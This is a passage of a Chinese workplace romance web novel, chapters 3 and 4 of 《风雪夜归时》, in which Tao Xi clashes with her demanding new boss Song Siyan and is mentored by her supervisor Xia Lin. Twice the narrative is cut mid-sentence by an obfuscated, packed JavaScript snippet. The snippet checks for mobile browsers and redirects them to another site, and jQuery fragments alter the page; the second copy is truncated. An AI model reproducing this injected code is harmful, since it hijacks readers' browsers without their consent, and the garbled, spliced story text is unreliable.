《风雪夜归时》 3. [风雪夜3] [风雪夜3] - 桃花? 陶溪显然没相信,但还是撑着脑袋听罗嘉怡嚎叫,只是她看到桃花就一直闹个不停。 “我靠,真的假的?”罗嘉怡知道陶溪的异性缘其实很好,毕竟人水灵漂亮。 但截至目前,她还没看到过陶溪对哪个男人感兴趣。 “溪宝,这个牌面不是说你有追求者那么简单啊,就是很明显地说你会有一场非常热烈的艳遇——! “也就是说,这次是你也动心了!” 陶溪也陪她闹够了,起身准备回房间看点之前存的学习资料。 “好了嘉怡,你觉得这可能吗?”她顺手抓起自己放在旁边柜子上的喷雾,打算一并带进屋内。 罗嘉怡步步紧随:“理论上来说是不可能,但是我也相信自己的牌组!” “老师傅也有失手的时候。”陶溪安慰地拍了拍她的肩膀,毫无动摇之意。 罗嘉怡知道她的倔,也只能哼哼两声,赌气似的放出狠话:“那我们走着瞧!” 陶溪点头:“好的。” 她走进房间,轻轻和上门,窝在属于自己的那个小角落里。 她们俩合租的其实是一个一室一厅的房,但好在卧室还算大,还能给两个人做个小小的分区。 刚出来那会儿,陶溪比现在过得还要拮据节省,她和罗嘉怡认识其实是因为租在破旧的城中村时,两个人一起被坑了。 她俩都怒气冲冲地拎着包,杀到房东面前要求退钱,俩姑娘还真就在这事上为自己掰回一城。 两人因这一战而结识,当时两个人都在海珠区工作,干脆就一起去找新房了,也算是有个照应。 其实现在这套房子的房租,对陶溪来说本来是有些超过预算的,但后来她又想。 过去的二十几年已经吃了很多苦了,偶尔还是对自己好一点吧。 即便只是一点点。 陶溪刚戴上耳机,开始听之前收藏起来的成长主题播客。 在北京和上海的那两年,她第一次深深地认知到了自己跟别人那认知上的差距。 她总是羡慕着那些优秀的职场女性,神采奕奕的自信,和恰好到好处的谦逊,还有极为丰富的知识储备。 陶溪那时候完全愣头青,什么都不懂,有时候连她们在聊什么都不知道。 她那时才发现,原来这个世界除了课本上的知识,还有那么广阔的,她从未见过的、留意过的天地。 熟悉的女声从耳机里传来—— “欢迎来到知行小酒馆,这是一档有知有行出品的播客节目,我们关注投资,更关注怎样更好地生活。” 这段开场白刚进入耳里,锐利的尖叫声透过耳机的隔音,直直地刺入陶溪的耳中。 罗嘉怡就这么尖叫着跑进房间,直接飞扑到陶溪身上。 “啊啊啊啊啊啊啊啊啊啊啊有蟑螂!!!杀杀杀!!” 陶溪被她的声音震得耳膜一痛,取下耳机揉了揉耳朵:“杀虫剂我买回来了,在餐桌上。” “我刚才去厨房想煮个泡面,结果就有一只巨大无比的蟑螂就那么飞出来了!” 陶溪淡定地起身往厨房那边去,走路还一瘸一拐的 “来广州这么久还不会自己大战广州特产双马尾,以后要是我们俩没住一起了,你怎么办?”陶溪熟练地拿起杀虫剂,对着下水口就是一顿猛喷。 罗嘉怡站在外面怯生生的,等到陶溪出来,才又抱住她。 “那我们就永远不分开!” … 十月金秋。 广州的十月却是满城姹紫嫣红。 又到了异木棉开放的季节,午休的间隙,陶溪站在窗口看这不远处开得正艳丽的那几棵树。 正出神,忽地有人推开办公室的门。 “小陶溪——” 陶溪不用回头就知道是夏琳,她的顶头上司,行政部主管,前几天给她发信息叫宝贝儿那位。 “Charline!香港那边的事忙完了?”陶溪看到她回来,很惊喜。 “那也不敢忙太久啊~!新老板都比我先来了。”夏琳摘下自己新买的CHANEL的墨镜,但包没放下。 聊正事之前,她先问陶溪:“我的新包包怎么样?” 陶溪认真看了几眼,颔首,诚恳地说:“我这个人山猪吃不来细糠,看不来奢侈品包包。” 她以前对这些包的价值根本没概念,后来才知道夏琳手上拎的包,基本上小十万一个。 在她眼里这些东西的价值…很奇怪。 到底为什么能卖到这个价?购买的意义又是什么? “那你还是需要多培养一些奢牌审美。”夏琳说着,自然地在她的位置坐下,摆弄了一下新美甲,“听说前几天他为难你了?” 陶溪即便心中有些怨,也不好在夏琳面前开口,只能说一句“还好”。 “你别怕,姐罩着你呢。”夏琳一副连大BOSS都不放在眼里的语气。 陶溪听闻,心里暖了下,但还是拎得清的。 工作是工作,生活是生活,夏琳对她好,她记在心上,但工作上还是守着规矩。 夏琳知道她这人其实是个倔脾气,骨头硬着,她前几天在香港那边临时出差,但也听说了公司里的事情。 人不在,情报要在啊。 夏琳也不跟她耽误时间了,椅子转过去,看到陶溪果然还是在看上次会议的资料。 她这姑娘,心思和目标都太过于明确。 人刚到行政部的时候,夏琳心想,嚯呀这小丫头长得可真漂亮,以后高低能算个公司门面。 东洲集团的招聘要求其实很高,行政部算是比较好进的部门,而且也确实美女优先。 毕竟一定程度上代表着公司形象嘛。 结果跟陶溪见的第一面,她就告诉她:“夏主管,我来东洲集团,其实是想去策划部。” 当时给夏琳气得差点没被呛死,觉得这人简直不可理喻,就这么明晃晃地把他们行政部当踏板啊? 是不是有点太不尊重人了? 野心就这么写在脸上,从嘴里直愣愣地说出来了。 夏琳在公司想不通,回家还是想不通,把这事儿跟她老公说了。 她老公也是做他们这个行业的,只是不在东洲,而是在喜莱集团做高管。 夏琳本以为他要跟自己一起批判,结果他说。 “你好好想想,她真的是坏人吗?别被一时的情绪控制了,小姑娘是有点野心,但人有野心不是坏事,而且,她至少是直接告诉你,而不是背刺你。” 夏琳那天晚上辗转反侧,没睡好,第二天上班给陶溪送了一份资料。 “现在策划部还不缺人,不过你想去的话可以先多做一些准备。对了,以后你叫我Charline就行。” 从此以后,夏琳也在她想要转岗、晋升的路上给她提供了一些小帮助。 行政部的职责其实很多,但夏琳每次都把跟策划部沾边的活儿安排给她,这样她就总能在对接的时候拿到一些资料。 借着工作之便,顺势进步。 陶溪也从来不让她担心和失望,总是把工作完成得很好。 夏琳看着被她做满笔记的资料,不知为何眼眶有些温热,她感觉自己很久没有见过如此热血到有些笨蛋的人了。 她重新戴上自己那价值不菲的墨镜,起身,替陶溪整理了一下衣领。 “给你带来个好消息。这次人空降来,是为了惠州那个项目,年底之前策划部会进行人员调整,明年开年后就能用这个全新的团队复工。” 陶溪眼里的喜悦之色难藏。 夏琳又捏了一把她薄薄一层的脸颊肉。 “坏消息是,这位新老板超级苛刻,这群海归富二代一个赛一个的精致,神经病似的!听总裁办助理说,他连咖啡拉花都不能接受被晃糊了。” 这么龟毛,以后真有够大家受的。 但陶溪几乎已经快被好消息冲昏了脑袋。 她想—— 苛刻就苛刻点吧,她能升职就行!硬碰硬,她才不怕呢! … 异木棉一天比一天开得更好,陶溪的心情也一天比一天更好。 她当初选择留在广州的理由说来有些可笑。 那时她拖着疲惫不堪、伤痕累累的心情和身体到达广州,依旧是第一次到来。 但广州给她的感觉,和北京、上海都不同。 北京对她来说有些莫名的喘不过气,像细密的网不断在收紧。 上海的纸醉金迷有些晃眼,总让她陷入某种虚无缥缈的空落之中。 那天,她从车站出来,一眼看到了那花团锦簇的模样,身旁传来字正腔圆的播报。 ——“欢迎来到花城。” 原本应该严寒的秋冬时节,她却看到了最美的花,陶溪就这么被这座美丽又温暖的城市给留了下来。 一如往常,周会结束。 陶溪做好善后工作,收拾好会议室,她抱着一叠资料准备下楼。 回去可以把今天的内容整理一下。 宋斯砚上任这快一个月了,公司内部的变化也慢慢凸显,今天开会的时候,他明确提起了惠州那个项目。 总集团那边很重视惠州这个项目,所以才会让宋斯砚空降来接手。 不出意外的话,应该十二月就会有调整消息下来了,陶溪知道那是对自己来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028763|194471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说非常重要的、不可错失的机会。 她盘算着,路过茶水间时,有两道交谈的声音传来。 “宋总,您的意思是,年前通知人事部那边裁员一部分?” “嗯,补偿可以给高一些。” 陶溪的脚步止住,她本不是个爱偷听墙角的人,但这信息对她来说太关键。 “那个惠州的项目需要的人手肯定是多的,这一点您可以再考虑考虑。” 谭津再次提起此事,一方面是出于项目的考虑,另一方面也是念旧情、考虑工作习惯,毕竟都是跟了很久的团队,换了人,到时候各方面协调起来,又很麻烦。 但宋斯砚这次来,就不是为了念旧情的。 他显然沉默了几秒,陶溪听得都有些心跳加速,毕竟做贼心虚。 陶溪就这么靠在墙边,继续往下听。 空气中弥散着一股冷意,宋斯砚的语气不算好,就这么说了直白又难听的话。 “人手是有需求,但不需要养一堆废物。” 虽然他没说一个脏字,但陶溪还是第一次听他骂人废物,还有点新奇。 宋斯砚继续说。 “留着人手的目的是高效率。五个人做不了一个人的事,全都懒散惯了,拖延进度,我留着他们的意义是什么?做慈善?还是说,你想来做这个慈善?” “如果是这样——” 那他可以给这个机会。 宋斯砚这话还没说完,心间正觉得有些恼火,转头出去撞上了手忙脚乱在捡资料的陶溪。 她正蹲在茶水间门口捡散在地上的资料。 陶溪感觉到他的身影逼近,脚步停住,落下她视野里的是笔直的西装裤裤腿和锃亮的皮鞋。 她刚才听得略有些认真,意识到对方的声音靠近,已经有些来不及走远。 飞快转身后,手上的文件潸然掉落。 陶溪捡起掉落的纸张,站起身来,不卑不亢地点头:“宋总,谭总。” 本是简单的碰面,无需多说,她的脚跟都离开地面,却突然被宋斯砚扫了一眼手上的文件。 余光看到宋斯砚目光的那一刻,她感觉他好像多看了自己两眼。 那是一种打量,从头到脚的打量。 这令陶溪感到有些不舒服。 “拿的什么?”宋斯砚竟开了金口,主动问起她那写得密密麻麻的笔记。 “刚才会议的资料。”陶溪觉得他这问题很蠢,导致自己的回答也变蠢了。 明知故问。 他这么无聊的? 宋斯砚嗯了一声,又接:“我看看。” 陶溪根本不知道他葫芦里卖的什么药,但就她在公司这点职位,还不配跟宋斯砚正面对抗。 她只能“老实”上交。 宋斯砚抬手接过,看了几眼她的整理,跟他的猜测完全一致。 “每次的会议资料都是你整理提交的?”宋斯砚又问。 “是的。”陶溪点头。 “你来多久了?” “半年。” 陶溪不知道他问自己的目的是什么,只觉得跟老板说话是让人有点紧张,令人嗓子些许干燥。 说好的硬碰硬,实际上站在面前还是被人身份和气场压迫了。 像是一种惧怕上位者的本能。 她发现这种会被震慑的怯意和生涩感竟然完全避不开,陶溪挺直后背,指尖却无意识地蜷了蜷,挠着自己的手心。 ……真是可恶的资本家。 宋斯砚分明没有问什么,但她的心跳却在这个气场下变紊乱了几分。 陶溪看到他又翻了几页,随后递回来还给她,轻飘飘的,她以为到这里就是宋斯砚突发神经的结束。 没想到。 她伸手去接文件的时候,发现他攥得很紧,没马上松手卸力。 毫无防备的。 听到宋斯砚直接问她:“你想进策划部?” 陶溪有点懵,不知道他从哪里看出来的。 她愣神片刻,但还是迎上他的目光,点头的幅度不大,但回答得很利落:“是。” 这回宋斯砚终于松了手,语气恢复一贯的冷静,似乎还带着点刚才嫌弃废物下属的恼意。 总之,语气不太好听,话也不好听。 他居高临下地看着她。 “以你现在的水平进策划部,倒是可以跟着策划部现在这批人一起拿高额赔偿走。” 宋斯砚这句话说完,整理了一下不知何时卷起来的袖口,随后大步流星地离开。 陶溪站在原地愣了一会儿,发觉。 宋斯砚这一句话不仅呛她现在能力不够,还呛她偷听谈话。 ……她讨厌这么聪明的人。 4.[风雪夜4] [风雪夜4] - 电梯门叮地一声到达。 陶溪快步迈出,回到办公室时情绪明显不太妙。 她觉得这像是一种居高临下的羞辱,轻飘飘地问她是不是想去策划部,又用如此瞧不上的语气挑剔。 夏琳准备出去买咖啡,刚好撞上阴着脸回来的陶溪,很少见她这个表情。 “honey?”夏琳把自己搭在手腕上的小包放下,“谁惹你生气了?” 陶溪当然没马上回答,而是先把文件放回了自己的座位上。 夏琳跟着过来,说:“走!陪我下楼买咖啡去。” 办公室也不方便说话。 陶溪不太喝咖啡,几乎每次都是陪夏琳来买,夏琳刚开始还问她,不喝咖啡犯困怎么办? 结果陶溪从自己衣兜里摸出那用了好一段时间的白猫牌清凉油,说:“就这个,涂在太阳穴就好了。” 夏琳震惊:“这是什么上古时代的遗物?你捐给博物馆!” 今天也是,她什么都没点,还是夏琳硬塞了一杯气泡水给她。 “说吧,什么情况?”夏琳挑眉,“来的时候还斗志昂扬,现在这么垂头丧气的,谁能给你这鼓囊气球扎破了?” 陶溪才不认自己现在是垂头丧气,先反驳:“没丧气。” “好好好。”夏琳也认了,这姑娘是真要强得很,“所以谁那么刺?” 还能是谁?其实她都能猜到。 这段时间接触下来,夏琳发现陶溪其实很好懂,对自己的事情特别较真特别要强。 但其实像她这个岁数的姑娘,是还会有很多脆弱和空落的地方。 某天夏琳老公问她,那你现在觉得陶溪像什么? 夏琳想了会儿,一边挑着最新款的包包,一边说:“她就像一只鼓鼓囊囊,想要挣脱一切、飞到更高地方的气球。” 当时她老公沉默了许久,出了商场才说了句。 “嗯,想飞的心思很坚韧,运气好的话能飞到很高的位置,但遇到尖锐的东西,也容易被扎破。” 夏琳笑了笑,没否认,只是说,人生这条路上,每个人都有自己的使命。 每个人都有会闯得头破血流的事。 但她会尽量帮助她。 如果陶溪一定会跌倒,那她可以尽量成为一个落在地上时,可以接住她的、柔软的垫子。 于是现在… 夏琳就这么看着陶溪不衰反旺、越来越坚定的眼神,仿佛看到她在给自己注入新的气体。 陶溪猛吸入一口气泡水,差点被呛到,嘴里不饶人:“臭有钱的,那么高高在上干什么?” 夏琳也差点呛到:“我先说啊,别炮轰我们所有有钱人啊,那是宋斯砚的事。” 夏琳很不谦虚地把自己划分到有钱人行列,她虽然没宋斯砚那么有钱,但还算是有。 “我还没说是谁。”陶溪用吸管搅了一下饮料,“看来你也这样被他对待过。” “那可没有。”夏琳否认,“宋总工作场上还是很体面的。” “体面?”陶溪忍不住瞪大了双眼,“体面的人会找路过的员工要笔记,然后毫不留情地打压人写得烂?” 夏琳问:“他说得这么难听?” “我平时也挺体面的。”陶溪说,“如果不是他说得太难听,我也不会不高兴。” 夏琳听了这句瞬间笑得不行,挽着陶溪的手拉着她出去,想着顺便在隔壁买个彩票。 她熟练地跟老板指了个刮刮乐,比划了个“2”,要了两张,玩笑地跟陶溪说着。 “所以你们两个体面人,撞在一起,变成了两个不体面的人?这么有火花?还挺火热。” 有点意思。 这话陶溪根本没放在心上,夏琳说话就是这样东拉西扯,稍微动脑子想想也知道。 她跟宋斯砚,且不说现在根本没说上过几句话,要真往关系熟了说。 大老板和小员工,资本阶层和低产阶层,有什么好凑的? 天方夜谭来的。 陶溪也没有要意.淫老板的想法。 说着话间,夏琳递给她一张刮刮乐,叫她刮帮忙,两个人一起拿起刮板,碎屑到处飞。 夏琳吹了吹面上的残留,看了眼,一如既往地没中,她的偏财运真是差得离谱啊。 随后转头又去看陶溪那张,陶溪没什么兴趣,还给夏琳自己看。 她拿起来看奖,看到第一个数字的时候都有点怀疑自己是不是看错了? 夏琳确认数字中,有些分神,陶溪还在暗暗地说着:“早晚得让他说点人话,瞧不起谁呢?” 下一秒,她的手臂突然被人抓住,夏琳的指尖都快嵌入她的皮肤了。 “宝贝儿!你中了两千!!!!!!” … 这奖金本来应该是夏琳的,但她说是陶溪刮的就给她,陶溪当然是说什么都不肯收。 跟夏琳犟了半天没个结果。 最后夏琳跟家里阿姨打了声招呼,说晚上不回家吃饭了,就缠着陶溪说。 “这样,你下班以后陪我去做个美甲,再陪我逛逛街,吃个饭,就当我买你时间了。” 陶溪拿着那钱有些尴尬,说:“我的时间哪儿有那么值钱。” “怎么能这么说呢!”夏琳说,“这么看不起自己的价值啊?” 夏琳一边说,一边直接把钱塞到陶溪的包里摁死了,陶溪有时候也是拿夏琳一点办法没有。 陶溪整理着手边的报表,跟财务那边沟通年底报告的资料,她说着。 “我现在一个月扣掉医保社保到手五千六,还算是工资高的情况,两千块都快到我一周的工时了,你却只让我晚上陪你几个小时。” 她说这话的时候没什么太波动的情绪,平静地阐述着自己现在的价值困境。 “那就攒着。”夏琳说。 陶溪没回应这句攒着,而是快速地整理完报告,做完以后喝了口水,更加坚定了自己的心情。 她跟夏琳说。 她来广州不是为了过这样的日子的,她来广州,就是为了让自己变得更“贵”。 所以,她一定要跟宋斯砚较劲儿,撞得头皮血流,她也要进策划部! 下班以后,两人在附近一家潮汕餐厅吃的饭。 比起街边的大排档,这家店的食材明显更新鲜,处理得也很干净。 陶溪刚来广州的时候吃不惯海鲜,她觉得味道都差不多。 “这家味道是不错的,有次跟我老公路过,堵着车就看到这店门口排着长队呢,我俩挺好奇,干脆在旁边把车停了也过来吃。”夏琳讲述起来,问她,“你觉得怎么样?” “嗯,挺好吃的。”陶溪说这话也不怕夏琳笑话她,“但我觉得味道都差不多,还没品出来差别。” “你平时很少吃潮汕菜吧?” “嗯。” “要多吃,多对比,才能感受到其中的区别,你没有参考太多参考样本,是会感觉不到太大区别的。”夏琳夹了一块白灼鱿鱼给她。 这鱿鱼脆中又带着一股韧劲儿,处理得干净,没什么黏液。 陶溪知道她是叫自己品,细嚼慢咽地慢慢吃着。 夏琳还在继续往她的盘子里递菜。 “广东这边在''吃''上,讲究的就是个新鲜和食物的本味,白灼系列看似简单,但实则非常考验细节的把控和火候,你知道白灼青菜最好吃的做法是什么吗?”夏琳问。 青菜。 这是陶溪吃得最多的菜,以前家门前有一些地,外婆种得最多的就是青菜。 一到寒冬腊月的,陶溪也心疼外婆总是要挑着担子出去卖菜,才好多换点钱,买些别的菜回来。 那会儿正值青春期的她主动说。 以后就别这么冷的天去啦,刚好我最喜欢吃水煮青菜了。 天气冷,早上菜叶还打着霜,陶溪就下地去拔青菜,一大早就煮一锅水煮青菜吃。 “直接白水煮?”陶溪说的是自己熟悉的做法,其实不太确定。 “菜叶要先抖干水分,不然下锅的时候会影响锅里热水的温度和受热,下菜的时候先抓住菜叶烫五秒菜根,最后再丢进去用沸水烫熟。”夏琳突然跟她讲解上做法。 这顿饭吃完,陶溪去买的单。 对于夏琳来说,这家店的人均不算贵,一百五左右,但陶溪来广州这么久,还没吃过这个价位的餐厅。 饭后夏琳又带着她去逛了会儿街,陶溪和罗嘉怡平时常去的地方是十三行,清仓的时候尤其方便捡漏。 但夏琳购物就只去奢牌店,随手买件衬衫都要四位数。 她没买几件衣服,就轻轻松松花掉了陶溪好几个月的工资,出来以后,夏琳站在门口问她。 “你觉得刚才那件衬衫怎么样?” “你穿着挺好看的,料子是不错,但我始终无法理解它怎么要这个价。” “干嘛,意思是说我是冤大头啊?” “没有,那是你的钱,怎么花是你的事。” 夏琳迎着晚风笑,暂时没多说,而是带着陶溪去了下一个地点。 美甲店。 陶溪本以为她又要去什么贵妇店,结果夏琳带着她去了一家主要面向学生群体的自助美甲店。 夏琳把自己的Channel墨镜往头上一抬,一副熟客的样子:“姐,我做脚指甲,还是红色的猫眼。” 陶溪陪同的时候,也在旁边听最新一期的播客节目。 这一系列事情做完,都已经十一点多,夏琳叫了个车,把陶溪家选成了途径点,送她回去。 路上,她终于说了今天带陶溪出来的目的。 “你的笔记我也看了,比起咱们行政部其他人来说呢,你做事情更全面、细心。 “我问了谭津,他说宋总刚来的时候,那次会议资料你整理得很好,还特别备注了一些客户的需求。 “我能有消息放给你呢,说明上头是对你想转岗这件事有关注的。” 陶溪稍微来了点精神:“这事他们是怎么知道的?” “你以为新来的BOSS是谁啊小陶溪~?他这人一看就精得不行,估计第一眼看你给的资料就猜到你想去策划部了。”夏琳转头看了她一眼。 没有心思的人,不会把笔记和资料做得那么详细。 陶溪:“……”真是无处遁形。 “所以你说他下午拿你的笔记,我也不意外。”夏琳逗她,“大BOSS亲自看你的笔记,虽然说话难听了点,但也算是开小灶咯!” “只是一点吗?”宋斯砚就差直接叫她跟着策划部的废物们一起滚蛋了。 夏琳知道她在想什么,说:“其实他要求高不是很正常吗?要是这会儿宋斯砚直接叫你转岗,你怎么想?” 陶溪沉默半晌,老实说:“我会觉得这是针对我的杀猪盘。” 要么骗钱要么劫色。 “那不就对了?苛刻是因为是真想让你去策划部啊!你换个角度想,在东洲这样的大集团,BOSS能看见你是多难得的机遇啊,还不抓紧表现!真是个笨妞!” 陶溪皱了下眉,觉得浑身有点毛毛刺。 是这样吗? 难不成,宋斯砚真是好心提点她。 夏琳还在继续说:“你的笔记我也看了,我之前就说过的,要培养对奢牌的欣赏能力。宝贝儿,请记住,我们是做顶奢酒店和度假村的。” 她的笔记是比别人有主观能动性,已经超过了很多人,但思考的东西还不够深入。 陶溪下车前,夏琳交给她一个问题。 “你有没有想过,我今天带你去吃的这家店、去买的衣服,还有做的美甲,对我这个消费者来说,需求点到底是什么?花四位数买衬衫,但只花两位数做美甲的原因是什么?” 陶溪被这个问题问到,她看着那辆车离自己越来越远,有一瞬间是迷茫的。 夏琳打的是比较贵的豪华专享。 她出行基本选用公共交通,就算打车,也总是打特惠快车,总是打到一些臭车,司机喜欢一边听小说一边接单,动不动就急刹车。 广州堵车本来就严重,陶溪每次都被甩晕。 但今天这个车,很平稳,甚至还备好了矿泉水,车内不是劣质的香水,也没有烟味。 只有很淡的一股,令人感到舒适的香薰味。 这是差距,亦是区别。 陶溪发现自己的目光好像总是习惯性地放在“差距”上,却忘记了其中重要的“区别”。 她从云南的一个小山村走出来。 恨过,怨过,自卑过,也痛苦过。 这些情绪在几年前就被她解决掉了,她现在学会直面这种差距,偶尔会羡慕,但更知道自己应该做什么。 她看着这些很难逾越的差距,总是想着。 再往上爬一爬吧,陶溪。 不要去多想,不要去看,不要去在乎—— 这种脱敏,会让她远离痛苦,但也会让她变得麻木,麻木地不理解某种需求和欲望。 所以夏琳这样提醒着她。 「你好好想想。」 连夏琳都察觉到她在这个地方的问题,那放在宋斯砚眼里,估计更是觉得她不着道。 … 这一夜,陶溪几乎快熬了个通宵,等到快天明才紧急睡下。 她把自己的笔记和计划改了又改。 同时清点了自己的账户余额,她开始意识到一个很重要的问题。 学生时代获取知识的成本是很低的,但来到职场上,要获得有用的知识需要付出更多。 夏琳给她说的这个问题,目前对于陶溪来说最难办、最现实的问题。 她没钱。 很多事情…没钱就很难去开始运作。 其实工作这几年,她还算是攒了点小钱,陶溪前阵子跟大学室友们聊过天。 大家都惊讶于,她这才刚工作几年,还来回辗转了几个城市,竟然已经大几万的存款。 陶溪平时用钱省之又省,只要是不必要的支出几乎都不会乱花。 对别人来说,一个二十五岁的小姑娘靠自己攒了这么多钱是厉害的。 但只有她自己心里知道,这些钱杯水车薪。 其实最近她也很苦恼,到底怎么才能钱生钱呢?投资还是继续积攒? 现在这点钱捏在手上,她没办法为自己的人生打漂亮的翻身仗。 她要更多。 想去策划部的原因有很多,策划岗比行政岗更赚钱、更有前途也是原因之一。 太遵守规矩是好事,但有时候也不是好事。 这天晚上陶溪恨不得在网上把所有赚钱、生存技巧都全部看一遍。 有时候是会恨。 恨自己的见识比别人局限太多,她费劲很大劲儿才知道的事情,对别人来说只是常识。 大学时的宿舍是高楼公寓,她那个时候甚至不会按电梯,以为按上是让电梯上来,不知道那其实是指“我要上”。 忙碌的时间一晃而过。 陶溪忙得脚不沾地,在慢慢学习如何调整自己的思维方式和看待问题的角度。 最近最大的变化,是她只要有空,就带着罗嘉怡出去打尖儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032591|194471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来广州这么久,终于开始细细品味本地美食。 她的味蕾好像这才开始真正苏醒。 罗嘉怡问她是不是发财了,怎么跟之前不一样了,陶溪不知道怎么解释,只说舍不得孩子套不着狼。 这周末,她在某软件上刷到一家大排档,开在房租不菲的繁华地带。 附近都是高级餐厅和上档次的小厨,唯有它物美价廉。 每个城市的每个街道,仿佛都拥有功能分区,这些都是根据消费者需求、市场价值诞生的。 今天去的这个街区,附近都是比较高端的住宅。 连高楼都没几个,几乎都是别墅。 这边的房租贵、客户需求也比较“高端”,但偏偏一家平价大排挡,能在这个地方生存下来。 按理来说,这个店铺的利润率是不高的,而且开在别的地方也可以,或者说盈利更多。 陶溪决定带着罗嘉怡去一探究竟。 … 窗外,一道超跑的引擎声拉长而过。 “宋总家门口有够热闹的。”司煜笑着,叫服务生来买单。 这周围道路宽敞,平时车少,总有些富二代爱开超跑遛弯儿。 服务生过来,一如既往地还是按照习惯将确认单递给了宋斯砚。 司煜挑眉:“欸,是我说要买单。” 服务生这才反应过来,有些尴尬,连连道歉,宋斯砚抬了抬手。 “没事,我买了。”宋斯砚说着。 他这人怕麻烦,对于吃饭一事也不太挑,刚来广州就选中了这家店。 环境不错,私密性强,手艺也算过关。 约见朋友再合适不过的场合。 于是第一顿饭,他顺势办了张会员储值卡,偶尔和朋友见面都来这家,也省心省事。 “好的,抱歉抱歉…”服务生再次道歉,弯腰颔首给宋斯砚递笔,“您还是在右下角签字就可以了。” 宋斯砚接过那只笔,稍微看了一眼价格明细,没多问。 钢笔笔尖划过纸张,磨出窸窣的声响,他的签名落下,才顺口说了句。 “涨价不少。”他将单子递回去。 服务生瞬间紧张起来:“是…最近食材涨价不少,天气冷了,成本上调。” “嗯。”宋斯砚没有费任何口舌,也不会为难他一个打工的。 拿起外套,他起身跟司煜一起出去。 刚吃完饭都还不觉得冷,两人都将外套搭在手肘窝里,往外走。 “怎么,被宰熟了?”司煜对这种情况见怪不怪,这些私人小厨就这臭毛病。 “每个菜品的单价都上调了百分之十五至二十五。”宋斯砚没把这点钱放在心上,“也真是狮子大开口。” 他们这一顿简单吃下来,也要个两千左右,这涨价起来就已经是好几百的事了。 “这些店还真是把有钱人当肥羊宰。”司煜笑了声,“刚才怎么不跟老板扯一扯?” “没必要,浪费时间、精力。”宋斯砚低头看了眼表,“浪费的时间比跟他扯这点事情值钱。” 司煜又哈哈大笑,拍了下宋斯砚的肩膀:“时间就是金钱的宋总,今晚跟你说的事别不放心上啊,我可不想回去以后,我家那位问我选键盘还是榴莲。” “你老婆也真挺厉害。”宋斯砚看着前路,“让老公来催自家大老板帮她忙。” 司煜提起她就无奈,笑着叹气:“夏琳就这性子,护短,而且你也是,难得有个好苗子,对人温和友善一些不好吗?那么凶做什么。” “我很凶?”宋斯砚的神色微动,但也只是继续回信息。 家里负责清扫的阿姨发信息来说今日的打扫完成了,一如既往没敢去他那个养了宠物的小屋。 对话正要继续下去,斜对面的大排档突然爆发起争吵声。 “不是?老板!这菜单上写好的十五就十五,你怎么等到结账了才说涨价到二十,哪儿有这么坐地起价的道理?” 这女声中气十足,吵个架都铿锵有力。 宋斯砚的脚步一顿,司煜觉着奇怪,但也跟着停下来了,按理来说,宋斯砚不是喜欢看这种热闹的人。 司煜顺着目光一路看过去,就看到个姑娘穿着宽大的休闲T恤,衣角被她卷起来系在腰上。 她手里拿着一张纸片,看起来像店里的菜单。 老板还没还嘴,她揪着不放。 语气又倔又刺头的。 “菜品涨价,消费者有权提前知晓!你这样隐瞒就是故意欺骗消费者!这不是五块钱我要跟你扯半天的事,这是诚信问题!” 老板跟她吵得面红耳赤,脸都涨红了,眼神飘忽,明显撒谎。 但见她一个小姑娘,丝毫不松口:“什么诚信问题?我这小本生意涨价五块钱就诚信问题了!又没宰你!刚才我也说得很清楚了,价格是今晚统一涨的,不是只有你们一桌这个价格,我们的食材拿货新鲜,供应商也是一天一个价!只是我们菜单的价格还没来得及改!” 女生也不退让,还因为觉得吵架不方便,顺手用头绳将头发团了起来。 “一天一个价也应该明码标价!你完全可以在我们点单的时候说清楚,结账的时候才说,这种马后炮行为,把我们当冤大头啊?” “五块钱的事还当上冤大头了,小姑娘你这被宰的成本真低。”老板还呛上了,“隔壁私人小厨一条鱼涨价一百没人说,人家照样吃,就你跟这破五块钱计较!” “那你把这破五块钱还给我!”她伸手去要,“瞧不起五块钱就还钱啊!你自己坐地起价还跟我甩什么态度?是不是还要叫我去反思自己为什么五块钱都要斤斤计较,不像隔壁有钱的冤大头被宰一百也无所谓啊?” 老板还在接别的单子,眼看着周围的食客越来越多,人群中也有些其他的声音冒了出来。 “也是啊,虽然只是五块钱,但也不能结账才说啊。” “我看老板也是飘了,生意再好也不能忘记顾客是上帝啊!” “等等,我怎么觉得这个鱿鱼不新鲜了?” 老板见势不妙,赶紧抓出五块钱塞到她手里:“走走走,你这五块钱我不赚了还不行?” 结果她根本没打算走,而是冷笑一声,啪地一下把那五块钱拍在收银台上:“我看你家食材也是以次充好,又偷摸着涨价吧?店铺在网上红了,马上就想捞一笔!” 老板见她这要挑大事的态度,赶紧给几个人高马大的男店员使眼色,给她弄走。 事情闹这么大,越来越无法收场,司煜还要急着回家陪老婆,没时间看戏了。 他看了一眼在依旧没动的宋斯砚,调侃:“怎么了?刚被宰的冤大头哥,不会是看得热血沸腾准备回去也把你的份要回来吧?” “没必要。”宋斯砚态度依旧,“她有时间精力,我没有。” 这个时间成本的消耗对他来说依旧没有价值。 “那你在这儿看半天,看什么,看上那姑娘了?喜欢这种火爆脾气的辣妹啊。”司煜刚才扫了一眼。 是挺漂亮的,皮肤白,个子高挑,已婚男人的自觉性,他没认真看。 但吵架这劲儿是挺劲爆的。 司煜本来开着玩笑,余光扫到宋斯砚理了理袖口,拿出手机已经在按投诉电话了。 